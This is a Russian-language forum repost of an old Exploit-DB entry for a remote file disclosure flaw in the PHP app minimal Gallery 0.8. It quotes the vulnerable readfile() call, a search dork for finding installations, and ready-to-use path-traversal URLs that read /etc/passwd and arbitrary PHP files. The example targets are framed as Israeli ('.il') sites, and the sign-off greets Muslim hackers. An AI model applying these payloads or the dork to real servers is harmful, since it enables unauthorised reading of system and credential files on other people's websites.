Exploit minimal Gallery 0.8 - Remote File Disclosure

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
4902
Проверка EDB
  1. Пройдено
Автор
HOUSSAMIX
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2008-0260 cve-2008-0259
Дата публикации
2008-01-13
Код:
# Script : minimal Gallery 0.8                                                  
# Download : http://minimaldesign.net/downloads/projects/minimal-gallery                         
# BUG :  Remote File Disclosure Vulnerability  
# Dork : powered by minimal Gallery 0.8
         
## Vulnerable CODE :
~~~~~~~~~ /_mg/php/mg_thumbs.php ~~~~~~~~~~~~~~~~~
readfile("../$thumbs_dir/$thumbcat$thumb");

the variables thumbcat & thumb are defined in page mg_thumbs.php like that : 
$thumbcat = $_GET['thumbcat'];
$thumb = $_GET['thumb'];
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~		 

# Exploit : 

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../etc/passwd
[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumbcat=../../../../../../[file].php

[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../etc/passwd
[Target.il]/[Path_mGallery]/_mg/php/mg_thumbs.php?thumb=../../../../../../[file].php


# phpinfo(); View >> [Target.il]/[Path_mGallery]/php_info.php


# greezt :  coNan , GoLd_M , RoMaNcYxHaCkEr , Rachidox ,  and all muslims Hackers 

######################################################################################
#              H-T TeaM {HouSSaMix _ ToXiC350}  from MoRoCCo                         #
######################################################################################

# milw0rm.com [2008-01-13]
 
Источник
www.exploit-db.com

Похожие темы